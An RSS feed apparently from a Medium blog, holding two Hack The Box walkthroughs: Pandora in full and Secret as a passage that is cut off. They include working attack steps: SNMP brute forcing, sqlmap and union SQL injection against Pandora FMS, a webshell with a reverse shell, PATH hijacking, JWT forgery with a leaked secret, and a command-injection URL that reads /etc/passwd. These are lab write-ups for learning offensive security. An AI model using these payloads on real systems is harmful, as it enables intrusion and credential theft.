<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AckerMan on Medium]]></title>
        <description><![CDATA[Stories by AckerMan on Medium]]></description>
        <link>https://medium.com/@0xAckerMan?source=rss-84e7a8c689d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PpHTpl41QuPWzr2ay6SqMQ.jpeg</url>
            <title>Stories by AckerMan on Medium</title>
            <link>https://medium.com/@0xAckerMan?source=rss-84e7a8c689d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:27:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xAckerMan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pandora Walkthrough — Hack The Box]]></title>
            <link>https://medium.com/@0xAckerMan/pandora-walkthrough-hack-the-box-5c4a97fc2acb?source=rss-84e7a8c689d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c4a97fc2acb</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[snmp]]></category>
            <dc:creator><![CDATA[AckerMan]]></dc:creator>
            <pubDate>Thu, 19 May 2022 22:26:11 GMT</pubDate>
            <atom:updated>2022-05-19T22:45:56.099Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pandora Walkthrough — Hack The Box</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IxOUuc6Ip0ha1rv2.png" /></figure><p>In this box, I got to learn about SNMP exploitation and sqlmap. Also, we have to do privilege escalation to gain root.</p><h3>Enumeration</h3><p>Nmap</p><pre>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $sudo nmap -sV -A -sT -sC 10.10.11.136<br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-15 10:04 EAT<br>Nmap scan report for 10.10.11.136<br>Host is up (0.20s latency).<br>Not shown: 997 closed tcp ports (conn-refused)<br>PORT     STATE    SERVICE VERSION<br>22/tcp   open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)<br>|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)<br>|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)<br>80/tcp   open     http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Play | Landing<br>1600/tcp filtered issd<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.92%E=4%D=5/15%OT=22%CT=1%CU=33970%PV=Y%DS=2%DC=T%G=Y%TM=6280A61<br>OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)SEQ(SP=FE<br>OS:%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3=<br>OS:M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=FE88%W2=FE<br>OS:88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNW7<br>OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=<br>OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%<br>OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0<br>OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP<br>OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)</pre><pre>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using proto 1/icmp)<br>HOP RTT       ADDRESS<br>1   221.05 ms 10.10.14.1<br>2   221.06 ms 10.10.11.136</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 50.88 seconds<br>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $</pre><p>After running the Nmap scan, I found that only ports 22 (ssh) and 80 (HTTP) were open as you can see.<br>I decided to visit the site and see if something was interesting in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UsGkp4nBf1PthpXs.png" /></figure><p>After looking around, I found nothing interesting. I did a directory Bruteforce using feroxburster but nothing worked.<br>After some time of thinking, I decided to do a UDP Nmap scan and see if there are running services.</p><pre>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $sudo nmap -sU -top-ports=20 10.10.11.136<br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-15 10:04 EAT<br>Nmap scan report for 10.10.11.136<br>Host is up (0.23s latency).</pre><pre>PORT      STATE  SERVICE<br>53/udp    closed domain<br>67/udp    closed dhcps<br>68/udp    closed dhcpc<br>69/udp    closed tftp<br>123/udp   closed ntp<br>135/udp   closed msrpc<br>137/udp   closed netbios-ns<br>138/udp   closed netbios-dgm<br>139/udp   closed netbios-ssn<br>161/udp   open   snmp<br>162/udp   closed snmptrap<br>445/udp   closed microsoft-ds<br>500/udp   closed isakmp<br>514/udp   closed syslog<br>520/udp   closed route<br>631/udp   closed ipp<br>1434/udp  closed ms-sql-m<br>1900/udp  closed upnp<br>4500/udp  closed nat-t-ike<br>49152/udp closed unknown</pre><pre>Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds</pre><p>I found that only port 161 running snmpwas open and not filtered.<br>I did a deep scan on the port, to see what version of snmp was running.</p><pre>┌─[✗]─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $sudo nmap -sU -sV -p161 10.10.11.136<br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-15 10:39 EAT<br>Nmap scan report for 10.10.11.136<br>Host is up (0.30s latency).</pre><pre>PORT    STATE SERVICE VERSION<br>161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)<br>Service Info: Host: pandora</pre><pre>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds<br>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $</pre><p>we can see that the bo is running SNMPv1.</p><h3>Understanding SNMP</h3><p>SNMP stands for a simple network management protocol. Used for network management and monitoring.<br>After some research about SNMP, I learned that, for one to retrieve information from a machine running SNMP, one sends a requestor GET along with a string to authenticate it.<br>SNMP uses two strings to authenticate itself. The string is referred to as community string. The community string, is unhashed and can be easily cracked. There are two types of these strings; <em>readonly string</em> and <em>the write only string.</em></p><h3>Finding snmp community string</h3><p>To find this string, we can use a tool called onesixtyone to bruteforce it using a wordlist.</p><pre>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt -p 161 10.10.11.136<br>Scanning 1 hosts, 123 communities<br>10.10.11.136 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64<br>10.10.11.136 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64<br>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $</pre><p>We found the community string to this machine that is public</p><h3>Exploiting SNMP</h3><p>After successfully retrieving the community string, we can now retrieve some info from the machine with snmpwalk.</p><pre>┌─[r00t@parrot]─[~/HTB]<br>└──╼ $snmpwalk -v 1 -c public 10.10.11.136 &gt; ape.txt</pre><p>After analysing my output in ape.txt, I found a username and password that I can use to ssh into the machine. Remember that snmp is unencrypted so information is in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/0*3w0a-bAyN_vAA4rC.png" /></figure><p>After I ssh in the machine, I realised that there was another account matt with the user.txt but I cannot access it. I also realised that there is another website from /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*OkD69h7rma6FOuCT.png" /></figure><p>For us to visit this webpage, we will have to use a dynamic tunnel using ssh since it is running locally and not available to the public.<br>This can be done using this command: ssh -D 8080 daniel@10.10.11.136. Using the generated tunnel, we can set up a SOCKS5 proxy that supports DNS resolution to view the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jrWpordKfG4d2iB7.png" /></figure><p>Now navigating to http://127.0.0.1/pandora_console/ from my machine, I land to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FmDM7QUF1Y9Jy6HZ.png" /></figure><p>We can see that the page, uses some software called Pandora FMS. I looked it up on the internet and luckily, I found that it had CVEs (<a href="https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/">here</a>) available.<br>As shown in the article, the chart_generator.php file’s session_id parameter is vulnerable. Now I will run a SQLi with a proxy chain against the chart generator file. But file, I will have to configure /etc/proxychains4.conf file to enable proxy and our dynamic socks5 tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/0*-RXYk5rSbet-o-YN.png" /></figure><p>Then use the below command to run the sqli attack.</p><pre>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $sudo proxychains sqlmap --url=&quot;http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=&#39;&#39;&quot; -D pandora --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*ge_sNhg3UTZecCrc.png" /></figure><p>The table that is really important, is tpassword_history. Here we can find the hashes for matt and daniel. Looking at the harshes, they are md5.</p><pre>┌─[r00t@parrot]─[~/HTB/pandora]<br>└──╼ $proxychains sqlmap --url=&quot;http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=&#39;&#39;&quot; -Ttpassword_history --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*DDbyrNdpxIrUeS2t.png" /></figure><p>I also did a futher attack on the tsession_php table to get the php session ids stored.</p><p>I just added the id to the URL, visiting it, we get access granted and a blank white page. Going back to the FMS login page, I was automatically logged in as matt with admin privileges.</p><pre><a href="http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20x">http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20x</a></pre><p>Accessed as matt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q8RNkj-LcYIAEKQN.png" /></figure><p>Now we have to get a way to exploit a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/0*ZoccTegONg5QhLi9.gif" /></figure><h3>Getting Reverse shell</h3><p>Looking at the Pandora FMS <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5844">CVE-2020–5544</a> we can see that all the exploits require file upload, in order to get RCE.<br>I interacted with the tool and lucky, I found a file manager section that allows a file upload. I just got a webshell file online and uploaded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*-GTtEFi8IL6LA5pv.png" /></figure><p>Lets visit the php file we uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V6uA8xFx09JS6z5C.png" /></figure><p>And yes, we got a shell. Now I connected it to my machine using netcat listener on port 4242 as shown below<br>listening using nc -nvlp 4242</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*5gOaYqG3AEK64E4p.png" /></figure><p>we get a connection back. Let&#39;s now read the user hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/0*JUbisVKaZ6NkEeFb.png" /></figure><h3>Priviledge escalation</h3><p>For a nice and stable shell, we can copy the machiens id_rsa, and use ssh to login.</p><p>Searching for a while, usign find command to seacrh for files with Setuid permisions, We can see one that seems interesting/usr/bin/pandora_backup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*W7hw8JU27GswYsaV.png" /></figure><p>After running the file /usr/bin/pandora_backup and analysing it, we see that it uses tar to compress the PandoraFSM.</p><p>So let&#39;s try to <a href="https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/">poison</a> the path and run the file again to escalate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*3i0JEmgU4-LzgMe0.png" /></figure><p>Congratulations!!! Pandora has been pwned</p><p>Finally, we solved the lab and thank you so much for your time, if you liked this write-up and you feel it’s helpful then please share it with your friends.<br>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c4a97fc2acb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SECRET — HACK THE BOX]]></title>
            <link>https://medium.com/@0xAckerMan/htb-secret-71d7a113f7f9?source=rss-84e7a8c689d------2</link>
            <guid isPermaLink="false">https://medium.com/p/71d7a113f7f9</guid>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[AckerMan]]></dc:creator>
            <pubDate>Mon, 16 May 2022 08:14:36 GMT</pubDate>
            <atom:updated>2022-05-16T20:45:06.336Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/702/0*88TqMbPTINgoHSmR.png" /></figure><h3>ENUMARATION</h3><h3>nmap scan</h3><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret]<br>└──╼ $sudo nmap -sT -sC -sV -A 10.10.11.120<br>[sudo] password for r00t: <br>Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-18 10:50 EAT<br>Nmap scan report for 10.10.11.120<br>Host is up (0.27s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)<br>| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)<br>|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)<br>80/tcp open http nginx 1.18.0 (Ubuntu)<br>|_http-title: DUMB Docs<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>3000/tcp open http Node.js (Express middleware)<br>|_http-title: DUMB Docs<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.92%E=4%D=12/18%OT=22%CT=1%CU=38344%PV=Y%DS=2%DC=T%G=Y%TM=61BD92<br>OS:E2%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OP<br>OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST<br>OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC<br>OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=<br>OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(<br>OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%<br>OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N<br>OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C<br>OS:D=S)</pre><pre>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 1025/TCP)<br>HOP RTT ADDRESS<br>1 455.20 ms 10.10.14.1<br>2 456.22 ms 10.10.11.120</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 48.89 seconds</pre><p>we can see we have three ports open: 22, 80, 3000.<br>It seems like the webserver runs from a node js application. But also, it seems like ports 80 and 3000 are running the same header.</p><p>Since port 80 runs HTTP, we must have a webpage. i looked at it and we were prompted with this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6PpQiQOql_Ode-R7.png" /></figure><p>nothing seemed interesting apart from the download button at the bottom.<br>We also get the same result with port 3000</p><p>We can do a further enumeration with gobuster to scan for available directories</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret]<br>└──╼ $gobuster dir -u 10.10.11.120 -w /usr/share/wordlists/dirb/big.txt -t 30<br>===============================================================<br>Gobuster v3.0.1<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)<br>===============================================================<br>[+] Url: http://10.10.11.120<br>[+] Threads: 30<br>[+] Wordlist: /usr/share/wordlists/dirb/big.txt<br>[+] Status codes: 200,204,301,302,307,401,403<br>[+] User Agent: gobuster/3.0.1<br>[+] Timeout: 10s<br>===============================================================<br>2021/12/18 11:14:29 Starting gobuster<br>===============================================================<br>/api (Status: 200)<br>/assets (Status: 301)<br>/docs (Status: 200)<br>/download (Status: 301)<br>===============================================================<br>2021/12/18 11:18:47 Finished<br>===============================================================</pre><p>As we can see we have four main endpoints. I tried to look into them. The download path seemed not to be working. I had to go back to the home page at port 3000 and look at the download button.<br>clicking on it, we download a zip file.</p><h3>Enum source code</h3><p>After unzipping it, we find it contains a folder with the sites source code</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret/local-web]<br>└──╼ $ls -la<br>total 84<br>drwxr-xr-x 1 r00t r00t 182 Sep 3 08:57 .<br>drwxr-xr-x 1 r00t r00t 62 Dec 18 11:27 ..<br>-rw-r--r-- 1 r00t r00t 72 Sep 3 08:59 .env<br>drwxr-xr-x 1 r00t r00t 144 Sep 8 21:33 .git<br>-rw-r--r-- 1 r00t r00t 885 Sep 3 08:56 index.js<br>drwxr-xr-x 1 r00t r00t 14 Aug 13 07:42 model<br>drwxr-xr-x 1 r00t r00t 4158 Aug 13 07:42 node_modules<br>-rw-r--r-- 1 r00t r00t 491 Aug 13 07:42 package.json<br>-rw-r--r-- 1 r00t r00t 69452 Aug 13 07:42 package-lock.json<br>drwxr-xr-x 1 r00t r00t 20 Sep 3 08:54 public<br>drwxr-xr-x 1 r00t r00t 80 Sep 3 09:32 routes<br>drwxr-xr-x 1 r00t r00t 22 Aug 13 07:42 src<br>-rw-r--r-- 1 r00t r00t 651 Aug 13 07:42 validations.js</pre><p>The next move is to inspect each and all of these source codes.<br>I happened to notice this one file at routes/verifytoken.js this was after almost losing hope. I noticed that it seems to look at a JSON web token algorithm (JWT) which is not specified. This shows a possibility of modifying it and using a none algorithm to bypass validation.</p><p>I also inspected the /routes/auth.js and I noticed there is a user registration endpoint. It seemed to be using POST requests and the GET requests were not allowed.<br>I decided to test it with curl and see if it was valid. Here](<a href="https://gist.github.com/subfuzion/08c5d85437d5d4f00e58">https://gist.github.com/subfuzion/08c5d85437d5d4f00e58</a>)</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret]<br>└──╼ $curl -X POST -H &#39;Content-Type: application/json&#39; -v http://secret.htb/api/user/register --data &#39;{&quot;foo&quot;: &quot;bar&quot;}&#39;<br>Note: Unnecessary use of -X or --request, POST is already inferred.<br>* Trying 10.10.11.120:80...<br>* TCP_NODELAY set<br>* Connected to secret.htb (10.10.11.120) port 80 (#0)<br>&gt; POST /api/user/register HTTP/1.1<br>&gt; Host: secret.htb<br>&gt; User-Agent: curl/7.68.0<br>&gt; Accept: */*<br>&gt; Content-Type: application/json<br>&gt; Content-Length: 14<br>&gt; <br>* upload completely sent off: 14 out of 14 bytes<br>* Mark bundle as not supporting multiuse<br>&lt; HTTP/1.1 400 Bad Request<br>&lt; Server: nginx/1.18.0 (Ubuntu)<br>&lt; Date: Sat, 18 Dec 2021 09:53:41 GMT<br>&lt; Content-Type: text/html; charset=utf-8<br>&lt; Content-Length: 18<br>&lt; Connection: keep-alive<br>&lt; X-Powered-By: Express<br>&lt; ETag: W/&quot;12-FCVaNPnXYf0hIGYsTUTYByRq5/U&quot;<br>&lt; <br>* Connection #0 to host secret.htb left intact<br>&quot;name&quot; is required</pre><p>So let&#39;s look around and see what is expected of us to register a new user since we now know that we have an active register endpoint.<br>Looking back to validation.js we see that we have to provide a name, email, and password to register a user.</p><pre>const Joi = require(&#39;@hapi/joi&#39;)<br></pre><pre>// register validation </pre><pre>const registerValidation = data =&gt;{<br>const schema = {<br>name: Joi.string().min(6).required(),<br>email: Joi.string().min(6).required().email(),<br>password: Joi.string().min(6).required()<br>};</pre><pre>return Joi.validate(data, schema)<br>}</pre><pre>// login validation</pre><pre>const loginValidation = data =&gt; {<br>const schema2 = {<br>email: Joi.string().min(6).required().email(),<br>password: Joi.string().min(6).required()<br>};</pre><pre>return Joi.validate(data, schema2)<br>}<br></pre><pre>module.exports.registerValidation = registerValidation<br>module.exports.loginValidation = loginValidation</pre><p>Also if we can remember, in the website on the API documentation, we had a registered user module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G6ID5yxmHoC2rZJP.png" /></figure><p>With all this info in place, we can come up with an attack plan that will enable us to get an RCE to the machine.<br>our attack plan will be:</p><ul><li>Create a new low-level user on the system.</li><li>Modify the JWT to be the admin</li><li>Access restricted endpoints<br>These restricted endpoints are specified in the API documentation eg the /api/priv route, which when we try accessing, we get Access denied</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sisnedz0d5r4HBeC.png" /></figure><h3>Abusing the API</h3><h3>Creating a new user.</h3><p>Looking at the documentation under the user registration, we can see that the user email must contain @dasith.works to be valid.</p><pre>┌─[✗]─[r00t@parrot]─[~/Downloads/htb/secret]<br>└──╼ $curl -i -X POST \<br>&gt; -H &#39;Content-Type: application/json&#39; \<br>&gt; -d &#39;{&quot;name&quot;:&quot;testuser&quot;, &quot;email&quot;:&quot;testuser@dasith.works&quot;, &quot;password&quot;:&quot;testing123&quot;}&#39; \<br>&gt; http://10.10.11.120/api/user/register<br>HTTP/1.1 200 OK<br>Server: nginx/1.18.0 (Ubuntu)<br>Date: Sat, 18 Dec 2021 10:52:23 GMT<br>Content-Type: application/json; charset=utf-8<br>Content-Length: 19<br>Connection: keep-alive<br>X-Powered-By: Express<br>ETag: W/&quot;13-DRVe0zLZCaZWlWTdrfBu0+1b9f4&quot;</pre><pre>{&quot;user&quot;:&quot;testuser&quot;}</pre><p>we can see that we have successfully created a user testuser. Now it&#39;s time to log in and try to locate our JWT validation and modify it.</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret]<br>└──╼ $curl -i -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;email&quot;:&quot;testuser@dasith.works&quot;, &quot;password&quot;:&quot;testing123&quot;}&#39; http://10.10.11.120/api/user/login<br>HTTP/1.1 200 OK<br>Server: nginx/1.18.0 (Ubuntu)<br>Date: Sat, 18 Dec 2021 11:10:12 GMT<br>Content-Type: text/html; charset=utf-8<br>Content-Length: 216<br>Connection: keep-alive<br>X-Powered-By: Express<br>auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYmQ2N2RiZGE1MjA0NjgwNDFiNzIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzOTgyNTgxMn0.SL6SIE1fbWwu7i1Py0aCHCwZESwQvofoyg6SoeoflsI<br>ETag: W/&quot;d8-1FM8RUhJqjPvSAQlmqBbGwRLvlI&quot;</pre><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYmQ2N2RiZGE1MjA0NjgwNDFiNzIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzOTgyNTgxMn0.SL6SIE1fbWwu7i1Py0aCHCwZESwQvofoyg6SoeoflsI</pre><p>Now as you can see, we are successfully logged in. So let us take our jwt and try decoding it using <a href="https://jwt.io/">jwt.io</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mJ8CNiSXxVzR5aON.png" /></figure><p>So I decided to use the none alg technique. I tried with none, NONE and None but they didn’t seem to work.</p><p>With this technique failing, I had to think of another way. After a long time of research, I figured out that there were two hidden files in the download folder .env and .git. It just came to my mind that there must be something interesting there since even the challenge name is secret.</p><p>I started with the .git by looking at the history by running git log command.</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret/local-web/.git]<br>└──╼ $git log<br>commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -&gt; master)<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Thu Sep 9 00:03:27 2021 +0530</pre><pre>now we can view logs from the server 😃</pre><pre>commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Fri Sep 3 11:30:17 2021 +0530</pre><pre>removed .env for security reasons</pre><pre>commit de0a46b5107a2f4d26e348303e76d85ae4870934<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Fri Sep 3 11:29:19 2021 +0530</pre><pre>added /downloads</pre><pre>commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Fri Sep 3 11:27:35 2021 +0530</pre><pre>removed swap</pre><pre>commit 3a367e735ee76569664bf7754eaaade7c735d702<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Fri Sep 3 11:26:39 2021 +0530</pre><pre>added downloads</pre><pre>commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8<br>Author: dasithsv &lt;dasithsv@gmail.com&gt;<br>Date: Fri Sep 3 11:25:52 2021 +0530</pre><pre>first commit</pre><p>I realized an interesting commit message:</p><blockquote><em>removed .env for security reasons</em></blockquote><p>So I was interested to know what was happening. I went back to the working try and decided to view information of this commit git diff HEAD~2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EwC4VUzkSTgjtZfC.png" /></figure><p>I tried using this by going back to <a href="http://jwt.io/">jwt.io</a> and changing the username to theadmin and testing the generated JWT against /api/priv endpoint, to verify if the bypass worked.</p><p>Yeet it worked.</p><p>Now with access to the admin page, we can use it to look at the /api/logs endpoint and gain access to the server.</p><h3>Obtaining a foothold</h3><p>We can chain several bash commands like id to know the user running the application, /etc/passwd in order to obtain the user passwords and file in order curl to accept Get parameter. So the URL will look like this : 10.10.11.120/api/logs?file=index.js;id;cat+ /etc/ passwd</p><pre>┌─[r00t@parrot]─[~/Downloads/htb/secret/jwt_tool]<br>└──╼ $curl -i \<br>&gt; -H &#39;auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3R1c2VyQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNTY1Nzg1N30.SZzvY3RD0x763smkiImsSs6WKMMMxjfr9mMOslRNGzY&#39; \<br>&gt; &#39;http://10.10.11.120/api/logs?file=index.js;id;cat+/etc/passwd&#39; | sed &#39;s/\\n/\n/g&#39;</pre><p>This was successful since it dumped all the info we wanted. Now it’s time to utilize port 22 and ssh to the machine.</p><h3>Exploitation</h3><p>We can generate a new ssh key which we will use to login into the machine and avoid using our main ssh key.<br>ssh-keygen -t rsa -b 4096 -C &#39;drt@htb&#39; -f secret.htb -P &#39;&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*WGCqRhY-lYOftRw2.png" /></figure><p>As we can see, in my case I had another key that I have overwritten. This was created when I first tried solving this machine.<br>The command generates a new SSH public and private key in the current directory named secret.htb.</p><p>To ensure that the public key is added, we can use these commands in a root shell.</p><ul><li>mkdir -p /home/dasith/.ssh</li><li>echo $PUBLIC_KEY &gt;&gt; /home/dasith/.ssh/authorized_keys</li></ul><p>Now we can store the content of our public key in a variable for easy adding.<br>export PUBLIC_KEY=$(cat secret.htb.pub)<br>So now we can execute our last curl command to 